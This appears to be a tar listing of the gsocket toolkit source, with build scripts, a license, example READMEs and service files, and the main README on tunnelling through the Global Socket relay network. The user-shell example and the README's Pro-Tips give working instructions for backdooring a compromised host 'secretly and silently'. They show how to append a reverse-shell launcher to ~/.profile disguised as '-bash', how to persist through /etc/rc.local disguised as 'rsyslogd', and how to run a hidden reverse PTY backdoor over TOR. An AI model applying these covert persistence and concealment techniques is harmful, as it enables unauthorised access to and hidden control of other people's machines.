gsocket-1.4.41/ 0000755 0001750 0001750 00000000000 14503376047 013155 5 ustar epsilon epsilon gsocket-1.4.41/bootstrap 0000755 0001750 0001750 00000001647 14503376047 015130 0 ustar epsilon epsilon #! /bin/sh
DIE=0
(autoconf --version) < /dev/null > /dev/null 2>&1 || {
echo
echo "You must have autoconf installed."
DIE=1
}
# libtool --version check not done...
(automake --version) < /dev/null > /dev/null 2>&1 || {
echo
echo "You must have automake installed."
DIE=1
}
if test "$DIE" -eq 1; then
exit 1
fi
echo Removing old files...
rm -f configure Makefile Makefile.in tools/Makefile tools/Makesfile.in src/Makefile src/Makefile.in config.h config.status aclocal.m4 config.cache config.log
[ -d "config" ] && rm -rf config
mkdir config
echo "aclocal -I ."
aclocal -I .
if test $? -ne 0; then
exit 1
fi
# glibtoolize -c
echo "autoheader"
autoheader
if test $? -ne 0; then
exit 1
fi
echo "automake --foreign --add-missing -Wno-syntax"
automake --foreign --copy --add-missing -Wno-syntax
if test $? -ne 0; then
exit 1
fi
echo "autoconf"
autoconf
echo "BOOTSTRAP complete"
gsocket-1.4.41/LICENSE 0000755 0001750 0001750 00000002521 14503376047 014165 0 ustar epsilon epsilon /*
* Copyright (C) 2002-3020 skyper@thc.org
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
gsocket-1.4.41/examples/ 0000755 0001750 0001750 00000000000 14503376047 014773 5 ustar epsilon epsilon gsocket-1.4.41/examples/user-shell/ 0000755 0001750 0001750 00000000000 14503376047 017056 5 ustar epsilon epsilon gsocket-1.4.41/examples/user-shell/README.md 0000644 0001750 0001750 00000003146 14503376047 020341 0 ustar epsilon epsilon # Global Socket User Login Shell (auto-restarting)
**Connect to a firewalled host**
**Problem**
MALLORY gained access to ALICE but does not have superuser priviledges (root). MALLORY likes to access ALICE remotely. ALICE (and MALLORY) are on two different networks and behind a NAT/Firewall. Neither of them can reach the other.
**Objective**
Backdoor ALICE so that MALLORY can access ALICE remotely (without tampering with the firewall, NAT or router settings) and without superuser priviledges (root).
**Solution**
Start gs-netcat from ALICE's *~/.profile* and do so secretly and silently (without ALICE noticing).
On "ALICE" add the following line to the end of *~/.profile*. This will start the gs-netcat backdoor every time that ALICE logs in. The gs-netcat process is hidden as *-bash* and shows up as *-bash* in the process list.
```
killall -0 gs-netcat 2>/dev/null || (GSOCKET_ARGS="-s ExampleSecretChangeMe -liqD" SHELL=/bin/bash exec -a -bash gs-netcat)
```
Start the backdoor manually for testing. Thereafter the backdoor will start (and remain running) whenever ALICE logs in for the first time:
```ShellSession
alice@ALICE:~$ source ~/.profile
```
Now log in from "MALLORY" to "ALICE":
```ShellSession
m@MALLORY:~ $ gs-netcat -s ExampleSecretChangeMe -i
=Secret : "ExampleSecretChangeMe"
=Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits)
alice@ALICE:~$ id
uid=1001(alice) gid=1001(alice)
alice@ALICE:~$
```
There are other ways to start a backdoor. This is an example.
Many more gs-netcat options are available: For example *-T* to connect via TOR. See the manual page of gs-netcat.
gsocket-1.4.41/examples/systemd-root-shell/ 0000755 0001750 0001750 00000000000 14503376047 020551 5 ustar epsilon epsilon gsocket-1.4.41/examples/systemd-root-shell/README.md 0000644 0001750 0001750 00000003304 14503376047 022030 0 ustar epsilon epsilon # Global Socket Root Login Shell from systemd
**Connect to a firewalled host**
**Problem**
ALICE and BOB are on two different networks and behind a NAT/Firewall. Neither of them can reach the other.
**Objective**
Allow BOB to log-in to ALICE as root/superuser (without tampering with the firewall, NAT or router settings).
**Solution**
Start gs-netcat as a service (systemd) on ALICE.
On workstation "ALICE" create */etc/systemd/system/gs-root-shell.service*:
```EditorConfig
[Unit]
Description=Global Socket Root Shell
After=network.target
[Service]
Type=simple
Restart=always
RestartSec=10
WorkingDirectory=/root
ExecStart=gs-netcat -k /etc/systemd/gs-root-shell-key.txt -il
[Install]
WantedBy=multi-user.target
```
Create a random key file:
```ShellSession
root@ALICE:~# gs-netcat -g >/etc/systemd/gs-root-shell-key.txt
root@ALICE:~# chmod 600 /etc/systemd/gs-root-shell-key.txt
root@ALICE:~# cat /etc/systemd/gs-root-shell-key.txt
ExampleSecretChangeMe
```
Start the service:
```ShellSession
root@ALICE:~# systemctl start gs-root-shell
```
Enable the service to start automatically after reboot:
```ShellSession
root@ALICE:~# systemctl enable gs-root-shell
```
Check that gs-netcat is running:
```ShellSession
root@ALICE:~# systemctl status gs-root-shell
```
Now log-in from "BOB" to "ALICE":
```ShellSession
b@BOB:~$ gs-netcat -s ExampleSecretChangeMe -i
=Secret : "ExampleSecretChangeMe"
=Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits)
root@ALICE:~# id
uid=0(root) gid=0(root) groups=0(root)
root@ALICE:~#
```
Et voila a root shell on ALICE.
Many more gs-netcat options are available: For example *-T* to connect via TOR or *-L* for log-output. See the manual page for gs-netcat.
gsocket-1.4.41/examples/systemd-root-shell/gs-root-shell.service 0000644 0001750 0001750 00000000360 14503376047 024631 0 ustar epsilon epsilon [Unit]
Description=Global Socket Root Shell
After=network.target
[Service]
Type=simple
Restart=always
RestartSec=10
WorkingDirectory=/root
ExecStart=gs-netcat -k /etc/systemd/gs-root-shell-key.txt -il
[Install]
WantedBy=multi-user.target
gsocket-1.4.41/examples/wireguard/ 0000755 0001750 0001750 00000000000 14503376047 016764 5 ustar epsilon epsilon gsocket-1.4.41/examples/wireguard/wg0-server.conf 0000644 0001750 0001750 00000000562 14503376047 021637 0 ustar epsilon epsilon [Interface]
# Server
Address = 10.37.0.1/24
ListenPort = 51820
PrivateKey = 4E48vR7v8OUJO5OEYkOUUZmF55UOYVqo9l9w2eRS50k=
PostUp = sysctl -w net.ipv4.ip_forward=1
PreUp = gs-netcat -s AnyKindOfRandomString -Cul -d 127.0.0.1 -p 51820 &
PostDOwn = killall -g gs-netcat
[Peer]
# Client #1
PublicKey = KRYz7Jsbu1pS6ALHLqCUqG4KsFh9GcK3II+3bFscYUU=
AllowedIPs = 10.37.0.2/32
gsocket-1.4.41/examples/wireguard/client-privatekey 0000644 0001750 0001750 00000000055 14503376047 022346 0 ustar epsilon epsilon SOnUcf+KuXIWXfhpZpHtTC097ihBNUXT2igp5IuJsWY=
gsocket-1.4.41/examples/wireguard/README.md 0000644 0001750 0001750 00000006440 14503376047 020247 0 ustar epsilon epsilon # Global Socket WireGuard Example
**Connect two firewalled hosts with wireGuard (Virtual Private Network)**
**Problem**
ALICE and BOB are on two different networks behind NAT/Firewall. Neither of them can reach the other. A WireGuard VPN can not be established (ALICE and BOB are both firewalled).
**Objective**
Create a WireGuard Virtual Private Network between ALICE and BOB (without tampering with the firewall, NAT or router settings).
**Solution**
Redirect the WireGuard traffic via the Global Socket Relay Network.
ALICE -> WireGuard -> Global Socket Relay Network -> WireGuard -> BOB
On workstation "ALICE":
```ShellSession
a@ALICE:~ $ wg-quick up ./wg0-server.conf
```
On workstation "BOB":
```ShellSession
b@BOB:~ $ wg-quick up ./wg0-client.conf
```
Test the WireGuard VPN:
```ShellSession
b@BOB:~ $ ping 10.37.0.1
PING 10.37.0.1 (10.37.0.1) 56(84) bytes of data.
64 bytes from 10.37.0.1: icmp_seq=1 ttl=64 time=46.96 ms
[...]
```
**Explanation**
Let's take a look at wg-server.conf (ALICE)
```Nginx
[Interface]
# Server
Address = 10.37.0.1/24
ListenPort = 51820
PrivateKey = 4E48vR7v8OUJO5OEYkOUUZmF55UOYVqo9l9w2eRS50k=
PostUp = sysctl -w net.ipv4.ip_forward=1
PreUp = gs-netcat -s ExampleSecretChangeMe -Culq -d 127.0.0.1 -p 51820 &
PostDOwn = killall -g gs-netcat
[Peer]
# Client #1
PublicKey = KRYz7Jsbu1pS6ALHLqCUqG4KsFh9GcK3II+3bFscYUU=
AllowedIPs = 10.37.0.2/32
```
This is a default WireGuard configuration file for a server. The only change is:
```Nginx
PreUp = gs-netcat -s ExampleSecretChangeMe -Culq -d 127.0.0.1 -p 51820 &
```
This starts a gs-netcat process and redirects any traffic from the Global Socket *ExampleSecretChangeMe* to the default WireGuard port (51820). *-u* specifies UDP protocol and *-q* to be quiet.
Let's take a look at wg-client.conf (BOB):
```Nginx
[Interface]
# client. ME
Address = 10.37.0.2/32
PrivateKey = SOnUcf+KuXIWXfhpZpHtTC097ihBNUXT2igp5IuJsWY=
# Make gs-netcat listen on UDP 31337
PreUp = gs-netcat -s ExampleSecretChangeMe -Cuq -p 31337 &
PostDown = killall -g gs-netcat
[Peer]
# server
Endpoint = 127.0.0.1:31337
PublicKey = gjBE/V1pGdIu7yTGWtZvObxIf9+ErH9aRP+jsBuiXC4=
AllowedIPs = 10.37.0.0/24
PersistentKeepalive = 25
```
The only change is:
```Nginx
PreUp = gs-netcat -s ExampleSecretChangeMe -Cuq -p 31337 &
[...]
EndPoint = 127.0.0.1:31337
```
The PreUp-line redirects any UDP traffic from port 31337 to the Global Socket *ExampleSecretChangeMe*. The new *Endpoint* instructs WireGuard to send all WireGuard traffic to the UDP port where gs-netcat is listening (31337). Any UDP traffic received by gs-netcat is forwarded (via the Global Socket Relay Network) to the other gs-netcat running on ALICE.
**Notes**
The gs-netcat secret *ExampleSecretChangeMe* is chosen at random but has to be identical on ALICE and BOB. This string is used by the Global Socket Relay Network to connect ALICE and BOB. Use *gs-netcat -g* to generate a new random string for your own use (do not use the example).
Create your own private/public WireGuard keys (do not use the example):
```ShellSession
$ wg genkey | tee server-privatekey | wg pubkey > server-publickey
$ wg genkey | tee client-privatekey | wg pubkey > client-publickey
```
Many more gs-netcat options are available: For example *-T* to connect WireGuard via TOR or *-L* for log-output. See the manual page for gs-netcat.
gsocket-1.4.41/examples/wireguard/server-privatekey 0000644 0001750 0001750 00000000055 14503376047 022376 0 ustar epsilon epsilon 4E48vR7v8OUJO5OEYkOUUZmF55UOYVqo9l9w2eRS50k=
gsocket-1.4.41/examples/wireguard/wg0-client.conf 0000644 0001750 0001750 00000000601 14503376047 021601 0 ustar epsilon epsilon [Interface]
# client. ME
Address = 10.37.0.2/32
PrivateKey = SOnUcf+KuXIWXfhpZpHtTC097ihBNUXT2igp5IuJsWY=
# Make gs-netcat listen on UDP 31337
PreUp = gs-netcat -s AnyKindOfRandomString -Cu -p 31337 &
PostDown = killall -g gs-netcat
[Peer]
# server
Endpoint = 127.0.0.1:31337
PublicKey = gjBE/V1pGdIu7yTGWtZvObxIf9+ErH9aRP+jsBuiXC4=
AllowedIPs = 10.37.0.0/24
PersistentKeepalive = 25
gsocket-1.4.41/examples/wireguard/client-publickey 0000644 0001750 0001750 00000000055 14503376047 022152 0 ustar epsilon epsilon KRYz7Jsbu1pS6ALHLqCUqG4KsFh9GcK3II+3bFscYUU=
gsocket-1.4.41/examples/wireguard/server-publickey 0000644 0001750 0001750 00000000055 14503376047 022202 0 ustar epsilon epsilon gjBE/V1pGdIu7yTGWtZvObxIf9+ErH9aRP+jsBuiXC4=
gsocket-1.4.41/examples/port-forward/ 0000755 0001750 0001750 00000000000 14503376047 017421 5 ustar epsilon epsilon gsocket-1.4.41/examples/port-forward/README.md 0000644 0001750 0001750 00000005475 14503376047 020713 0 ustar epsilon epsilon # Global Socket Port Forwarding
**Connect to a firewalled host**
**Problem**
A hypothetical example for BOB to connect to ALICE's IRCD. Both are on two different networks and behind a NAT/Firewall. Neither of them can reach the other.
**Objective**
Allow BOB to access ALICE's (private) IRCD service (without tampering with the firewall, NAT or router settings).
**Solution**
Create a port forward to ALICE's IRCD and make this forward accessible via the Global Socket Relay network (GSRN).
**Prerequisite**
IRCD running on ALICE's workstation and an IRC client (irssi) on BOB's workstation.
On workstation "ALICE" create */etc/system/systemd/gs-portforward.service* to configure a port forward from the Global Socket *ExampleSecretChangeMe* to TCP port 6667 on your workstation (127.0.0.1):
```EditorConfig
[Unit]
Description=Global Socket IRCD Forward
After=network.target
[Service]
Type=simple
Restart=always
RestartSec=10
ExecStart=gs-netcat -s ExampleSecretChangeMe -l -d 127.0.0.1 -p 6667
[Install]
WantedBy=multi-user.target
```
Start, check and enable the service:
```ShellSession
root@ALICE:~# systemctl start gs-portforward
root@ALICE:~# systemctl status gs-portforward
root@ALICE:~# systemctl enable gs-portforward
```
On BOB's workstation create a port forward from TCP port 6667 to the Global Socket *ExampleSecretChangeMe*:
```ShellSession
b@BOB:~$ gs-netcat -s ExampleSecretChangeMe -p 6667
```
TCP port 6667 on BOB's workstation is now forwarded to TCP port 6667 on ALICE's workstation. Bob connects to ALICE's IRCD as if the IRCD is running on his workstation (127.0.0.1):
```ShellSession
b@BOB:~$ irssi -c 127.0.0.1
```
Alternatively of using two separate commands BOB can use the *gsocket* tool to start the irc client and automatically forward the connection via the GSRN:
```ShellSession
b@BOB:~$ gsocket irssi -c blah.gsocket
Enter Secret (or press Enter to generate): ExampleSecretChangeMe
=Secret :"ExampleSecretChangeMe"
=Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits)
Irssi v1.2.0-2 - https://irssi.org
06:22 -!- Irssi: Looking up blahgsocket
06:22 -!- Irssi: Connecting to blah.gsocket [127.31.33.7] port 6667
[...]
```
This is a hypothetical example. Alice can configure the port forward by changing 127.0.0.1 to the desired destination.
Alice created a port forward and started the IRCD service. Instead Alice can combine this into a single command:
```ShellSession
alice@ALICE:~$ gsocket inspircd --nolog --nofork
Enter Secret (or press Enter to generate): ExampleSecretChangeMe
=Secret :"ExampleSecretChangeMe"
=Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits)
Inspire Internet Relay Chat Server
(C) InspIRCd Development Team.
[...]
```
Many more gs-netcat options are available: For example *-T* to connect via TOR or *-L* for log-output. See the manual page for gs-netcat.
gsocket-1.4.41/examples/port-forward/gs-portforward.service 0000644 0001750 0001750 00000000341 14503376047 023761 0 ustar epsilon epsilon Unit]
Description=Global Socket IRCD Forward
After=network.target
[Service]
Type=simple
Restart=always
RestartSec=10
ExecStart=gs-netcat -s ExampleSecretChangeMe -l -d 127.0.0.1 -p 6667
[Install]
WantedBy=multi-user.target
gsocket-1.4.41/examples/Makefile.am 0000755 0001750 0001750 00000000420 14503376047 017026 0 ustar epsilon epsilon EXTRA_DIST = wireguard/wg0-client.conf wireguard/wg0-server.conf wireguard/README.md user-shell/README.md systemd-root-shell/gs-root-shell.service systemd-root-shell/README.md sshd/gs-sshd.service sshd/README.md port-forward/gs-portforward.service port-forward/README.md
gsocket-1.4.41/examples/sshd/ 0000755 0001750 0001750 00000000000 14503376047 015734 5 ustar epsilon epsilon gsocket-1.4.41/examples/sshd/README.md 0000644 0001750 0001750 00000010310 14503376047 017206 0 ustar epsilon epsilon # OpenSSH via Global Socket
**Connect with ssh to a firewalled host**
**Problem**
ALICE and BOB are on two different networks and behind a NAT/Firewall. Neither of them can reach the other.
**Objective**
Allow user bob on host BOB to log-in with ssh as user bob on host ALICE (without tampering with the firewall, NAT or router settings).
**Solution**
Start sshd and ssh with the *gsocket* tool to (automatically) redirect any ssh-traffic via the Global Socket Relay Network.
Let's test the *gsocket* concept. Start *sshd* on ALICE with the *gsocket* tool:
```ShellSession
root@ALICE:~# gsocket -s ExampleSecretChangeMe /usr/sbin/sshd -D
```
The *gsocket* tool hooks all network functions and instead redirects those via the GSRN. The above example redirects the 'listen()'-call and listens on the Global Socket named *ExampleSecretChangeMe* instead of sshd's port 22.
Anyone with the correct secret (*ExampleSecretChangeMe*) can now connect to this sshd from anywhere in the world. The sshd process will _not_ listen on the default SSHD port 22 but instead on a Global Socket named *ExampleSecretChangeMe*. (On Global Socket we use names and not numbers).
From BOB use the *gsocket* tool to log in to ALICE:
```ShellSession
bob@BOB:~$ gsocket ssh bob@gsocket
Enter Secret (or press Enter to generate): ExampleSecretChangeMe
=Secret :"ExampleSecretChangeMe"
=Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits)
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-65-generic x86_64)
bob@ALICE:~$
```
Any networking application that connects to a hostname ending in *gsocket* (or *blah.anything.gsocket*) is redirected via the GSRN.
**Installation**
Let's make this change permanent so that ALICE is accessible via the GSRN after a system reboot. This does not tamper with the default *SSHD* service in any way. The *GS-SSHD* runs as an additional service alongside the default *SSHD* service.
Copy the default sshd.service:
```ShellSession
root@ALICE:~# cd /etc/systemd/system
root@ALICE:/etc/systemd/system# cp sshd.service gs-sshd.service
root@ALICE:/etc/systemd/system# chmod 600 gs-sshd.service
```
Edit the *gs-sshd.service* file and change this line:
```EditorConfig
ExecStart=/usr/sbin/sshd -D $SSHD_OPTS
```
to
```EditorConfig
ExecStart=gs -s ExampleSecretChangeMe /usr/sbin/sshd -D $SSHD_OPTS
```
Start, check and enable the newly created service:
```ShellSession
root@ALICE:~# systemctl start gs-sshd
root@ALICE:~# systemctl status gs-sshd
root@ALICE:~# systemctl enable gs-sshd
```
Log in to host ALICE from anywhere in the world:
```ShellSession
bob@BOB:~$ gsocket ssh bob@gsocket
Enter Secret (or press Enter to generate): ExampleSecretChangeMe
=Secret :"ExampleSecretChangeMe"
=Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits)
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-65-generic x86_64)
bob@ALICE:~$
```
**Advanced Tips**
Under the hood ```gsocket``` forks a gs-netcat process with a new SECRET of *<PORTNUMBER>-<SECRET>*. Continuing from the example, and instead of using ```gsocket /usr/sbin/sshd -D``` it is possible to use a port forward to the original *sshd* on port 22 instead:
```ShellSession
root@ALICE:~# gs-netcat -s 22-ExampleSecretChangeMe -l -d 127.1 -p 22
```
and then use *ssh* the same way as previously:
```ShellSession
bob@BOB:~$ gsocket ssh bob@gsocket
```
or, and instead of using ```gsocket ssh bob@gsocket``` it is possible to use gs-netcat to test the connection to the *sshd*:
```ShellSession
bob@BOB:~$ gs-netcat -s 22-ExampleSecretChangeMe
SSH-2.0-OpenSSH_8.6
```
**Notes**
Do not use *ExampleSecretChangeMe*. Generate your own secret using the *-g* option:
```ShellSession
$ gsocket -g
M9BfcYhhG4LujcPTbUcaZN
```
This example uses double encryption: The GSRN connection is encrypted with OpenSSL's SRP protocol and within that tunnel OpenSSH uses its own encryption. As a consequence the GS-SSHD is only accessible to those who know the secret (*ExampleSecretChangeMe*). E.g. the TCP port and service is hidden. The *-C* option can be used to disable GSRN encryption and rely on OpenSSH's encryption only.
Changing the hostname from *gsocket* to *thc* will connect through TOR first: ssh -> TOR -> GSRN....
Many more gs options are available. See the manual page for gs.
gsocket-1.4.41/examples/sshd/gs-sshd.service 0000644 0001750 0001750 00000001050 14503376047 020662 0 ustar epsilon epsilon [Unit]
Description=OpenBSD Secure Shell server
Documentation=man:sshd(8) man:sshd_config(5)
After=network.target auditd.service
ConditionPathExists=!/etc/ssh/sshd_not_to_be_run
[Service]
EnvironmentFile=-/etc/default/ssh
ExecStartPre=/usr/sbin/sshd -t
ExecStart=gsocket -s ExampleSecretChangeMe /usr/sbin/sshd -D $SSHD_OPTS
ExecReload=/usr/sbin/sshd -t
ExecReload=/bin/kill -HUP $MAINPID
KillMode=process
Restart=on-failure
RestartPreventExitStatus=255
Type=notify
RuntimeDirectory=sshd
RuntimeDirectoryMode=0755
[Install]
WantedBy=multi-user.target
gsocket-1.4.41/install.sh 0000755 0001750 0001750 00000000571 14503376047 015165 0 ustar epsilon epsilon #! /usr/bin/env bash
## This script lives at https://gsocket.io/install.sh)
command -v git >/dev/null 2>&1 || { echo >&2 "git not found. Try 'apt-get install git'"; exit 1; }
git clone --depth 1 https://github.com/hackerschoice/gsocket.git || exit
( cd gsocket \
&& ./bootstrap \
&& ./configure && make && echo -e "\n---> Type 'cd gsocket; sudo make install' to install." )
gsocket-1.4.41/README.md 0000755 0001750 0001750 00000036522 14503376047 014447 0 ustar epsilon epsilon # Global Socket
[](https://github.com/hackerschoice/gsocket/releases/)
[](https://opensource.org/licenses/BSD-2-Clause)
[](https://www.gsocket.io/)
[](https://www.gsocket.io/)
[](https://www.gsocket.io/)
[](https://www.gsocket.io/)
[](https://github.com/hackerschoice/gsocket/graphs/commit-activity)
[](https://www.gsocket.io/)
[](https://GitHub.com/hackerschoice/gsocket/)
[](https://t.me/thcorg/)
[](https://twitter.com/hackerschoice)
[](https://GitHub.com/hackerschoice/gsocket/stargazers/)
**Connect like there is no firewall. Securely.**
The Global Socket Tookit allows two users behind NAT/Firewall to establish a TCP connection with each other. Securely.
More on [https://www.gsocket.io](https://www.gsocket.io).
[](https://www.youtube.com/watch?v=tmf9VGDPILE)
Video 1: [gs-netcat reverse login shell and EEElite-console](https://www.youtube.com/watch?v=tmf9VGDPILE)
Video 2: [Using gsocket to hijack OpenSSH](https://www.youtube.com/watch?v=Nn6BAeeVJIc)
Video 3: [Blitz files through firewalls](https://www.thc.org/gsocket-anim2.gif)
**Features:**
- Uses the Global Socket Relay Network to connect TCP pipes
- End-2-End encryption (using OpenSSL's SRP / [RFC 5054](https://tools.ietf.org/html/rfc5054))
- AES-256 & key exchange using 4096-bit Prime
- No PKI required.
- Perfect Forward Secrecy
- TOR support (optional)
Abandon the thought of IP Addresses and Port Numbers. Instead start thinking that two programs should be able to communicate with each other as long as they know the same secret (rather than each other\'s IP Address and Port Number). The Global Socket library facilitates this: It locally derives temporary session keys and IDs and connects two programs through the Global Socket Relay Network (GSRN) regardless and independent of the local IP Address or geographical location. Once connected the library then negotiates a secure TLS connection(End-2-End). The secret never leaves your workstation. **The GSRN sees only the encrypted traffic**.
The [GSRN](https://www.gsocket.io/gsrn) is a free cloud service and is free to use by anyone.
The Global Socket Toolkit comes with a set of tools:
* **gsocket** - Makes an existing program (behind firewall or NAT) accessible from anywhere in the world. It does so by analyzing the program and replacing the IP-Layer with its own Gsocket-Layer. A client connection to a hostname ending in *'\*.gsocket'* then gets automatically redirected (via the GSRN) to this program.
* **gs-netcat** - Netcat on steroids. Turn gs-netcat into an AES-256 encrypted reverse backdoor via TOR (optional) with a true PTY/interactive command shell (```gs-netcat -s MySecret -i```), integrated file-transfer, spawn a Socks4/4a/5 proxy or forward TCP connections or give somebody temporary shell access.
* **gs-sftp** - sftp server & client between two firewalled workstations (```gs-sftp -s MySecret```)
* **gs-mount** - Access and mount a remote file system (```gs-mount -s MySecret ~/mnt/warez```)
* **blitz** - Copy data from workstation to workstation (```blitz -s MySecret /usr/share/*```)
* ...many more examples and tools.
|
----------|-------------
Download|[gsocket-1.4.40.tar.gz](https://github.com/hackerschoice/gsocket/releases/download/v1.4.40/gsocket-1.4.40.tar.gz) (Linux, MacOS, FreeBSD, Solaris)
Debian/Ubuntu| [gsocket_1.4.40_all.deb](https://github.com/hackerschoice/binary/raw/main/gsocket/latest/gsocket_1.4.40_all.deb)
Windows| use docker or cygwin
Man Page| [gsocket(1)](https://hackerschoice.github.io/gsocket.1.html), [gs-netcat(1)](https://hackerschoice.github.io/gs-netcat.1.html), [gs-mount(1)](https://hackerschoice.github.io/gs-mount.1.html), [gs-sftp(1)](https://hackerschoice.github.io/gs-sftp.1.html), [blitz(1)](https://hackerschoice.github.io/blitz.1.html)
Docker| docker run --rm -it hackerschoice/gsocket
Docker| docker run --rm -it hackerschoice/gsocket-tor # gs via TOR
---
**Examples**
|
----------|-------------
All| [examples](examples)
OpenSSH via GSRN| [examples/sshd](examples/sshd)
WireGuard via GSRN| [examples/wireguard](examples/wireguard)
Root-Shell via GSRN| [examples/systemd-root-shell](examples/systemd-root-shell)
IRCD via GSRN| [examples/port-forward](examples/port-forward)
---
Follow the [Installation Instructions](https://github.com/hackerschoice/gsocket/blob/master/deploy/README.md) for all major Operating Systems.
---
**Usage:**
1. Log in to Workstation A from Workstation B through any firewall/NAT
```
$ gs-netcat -l -i # Workstation A
$ gs-netcat -i # Workstation B
```
See also: [gs-netcat(1)](https://hackerschoice.github.io/gs-netcat.1.html)
2. A Simple TCP forward
```
$ gs-netcat -l -d 127.0.0.1 -p 22 # Workstation A
$ gs-netcat -p 2222 # Workstation B
# A connection on B's port 2222 will end up on A's port 22
$ nc -vn 127.0.0.1 2222
```
3. SSH from *Workstation B* to *Workstation A* through any firewall/NAT
```
$ gsocket /usr/sbin/sshd # Workstation A
$ gsocket ssh root@gsocket # Workstation B
```
See also: [gsocket(1)](https://hackerschoice.github.io/gsocket.1.html)
4. Transfer files from *Workstation B* to *Workstation A*
```
$ blitz -l # Workstation A
$ blitz /usr/share/* /etc/* # Workstation B
```
See also: [blitz(1)](https://hackerschoice.github.io/blitz.1.html)
5. SFTP through Global Socket Relay Network
```
$ gs-sftp -l # Workstation A
$ gs-sftp # Workstation B
```
See also: [gs-sftp(1)](https://hackerschoice.github.io/gs-sftp.1.html)
6. Mount *Workstation A's* directory from *Workstation B*
```
$ gs-mount -l # Workstation A
$ gs-mount ~/mnt # Workstation B
```
See also: [gs-mount(1)](https://hackerschoice.github.io/gs-mount.1.html)
7. Pipe data from Workstation B to Workstation A
```
$ gs-netcat -l -r >warez.tar.gz # Workstation A
$ gs-netcat Gost (Port 1080). It is then multiplexed into the single
single TCP connection to B's gs-netcat (Port 40008) and forwarded via GSRN to A's gs-netcat.
A's gs-netcat forwards the packet to A's Gost (Port 40009) where the stream is de-multiplexed
and send to Gost's socks5 server and then forwarded to the Internet.
12. Persistant, daemonized and auto-respawn/watchdog reverse PTY backdoor via TOR
```
$ gs-netcat -l -i -D # some firewalled server
$ gs-netcat -i -T # You, via TOR
```
13. SoCAT 2
```
gs-netcat can be used in a socat address-chain using the EXEC target. Happy bouncing. Enjoy. :>
```
---
**Pro-Tips:**
1. Force TOR or fail:
Add -T to relay your traffic through TOR or use these environment variable to force TOR or fail gracefully if TOR is not running:
```
$ export GSOCKET_SOCKS_IP=127.0.0.1
$ export GSOCKET_SOCKS_PORT=9050
```
2. A reverse shell
Gs-netcat supports multiple concurrent connections and spawns a real PTY/interactive-shell with ctrl-c and colors working (like OpenSSH does).
```
$ gs-netcat -l -i # Host
$ gs-netcat -T -i # Workstation (via Tor & Global Socket Relay)
```
Add -D on the host side to start gs-netcat as a daemon and in watchdog-mode: Gs-netcat will restart automatically if killed.
3. Use -k
Using -s is not secure. Add your *secret* to a file and use -k <filen> or use GSOCKET_ARGS="-s <MySecret>".
```
GSOCKET_ARGS="-s MySecret" gs-netcat -l
```
Use this command to generate a new secure password at random:
```
gs-netcat -g
```
4. Hide your arguments (argv)
Pass the arguments by environment variable (GSOCKET_ARGS) and use a bash-trick to hide gs-netcat binary in the process list:
```
$ export GSOCKET_ARGS="-s MySecret -li -q -D"
$ exec -a -bash ./gs-netcat & # Hide as '-bash'.
$ ps alxww | grep gs-netcat
$ ps alxww | grep -bash
1001 47255 1 0 26 5 4281168 436 - SNs ?? 0:00.00 -bash
```
5. SSH login to remote workstation
```
# On the remote workstation execute:
gs-netcat -s MySecret -l -d 192.168.6.7 -p 22
```
```
# Access 192.168.6.7 via ssh on the remote network from your workstation:
ssh -o ProxyCommand='gs-netcat -s MySecret' root@doesnotmatter
```
6. Retain access after reboot
The easiest way to retain access to a remote system is by using [the automated deploy script](https://www.gsocket.io/deploy). Alternatively the following can be used to achieve the same:
Combine what you have learned so far and make your backdoor restart after reboot (and as a hidden service obfuscated as *rsyslogd*). Use any of the start-up scripts, such as */etc/rc.local*:
```
$ cat /etc/rc.local
#! /bin/sh -e
GSOCKET_ARGS="-s MySecret -liqD" HOME=/root TERM=xterm-256color SHELL="/bin/bash" /bin/bash -c "cd $HOME; exec -a rsyslogd /usr/local/bin/gs-netcat"
exit 0
```
Not all environment variables are set during system bootup. Set some variables to make the backdoor more enjoyable: *TERM=xterm-256color* and *SHELL=/bin/bash* and *HOME=/root*. The startup script (*/etc/rc.local*) uses */bin/sh* which does not support our *exec -a* trick. Thus we use */bin/sh* to start */bin/bash* which in turn does the *exec -a* trick and starts *gs-netcat*. Puh. The gs-netcat process is hidden (as *rsyslogd*) from the process list. Read [how to enable rc.local](https://linuxmedium.com/how-to-enable-etc-rc-local-with-systemd-on-ubuntu-20-04/) if */etc/rc.local* does not exist.
Alternatively install gs-netcat as a [systemd service](examples/systemd-root-shell).
Alternativly and if you do not have root privileges then just append the following line to the user's *~/.profile* file. This will start gs-netcat (if it is not already running) the next time the user logs in. There are [many other ways to restart a reverse shell after system reboot](https://www.gsocket.io/deploy):
```
killall -0 gs-netcat 2>/dev/null || (GSOCKET_ARGS="-s MySecret -liqD" SHELL=/bin/bash exec -a -bash /usr/local/bin/gs-netcat)
```
---
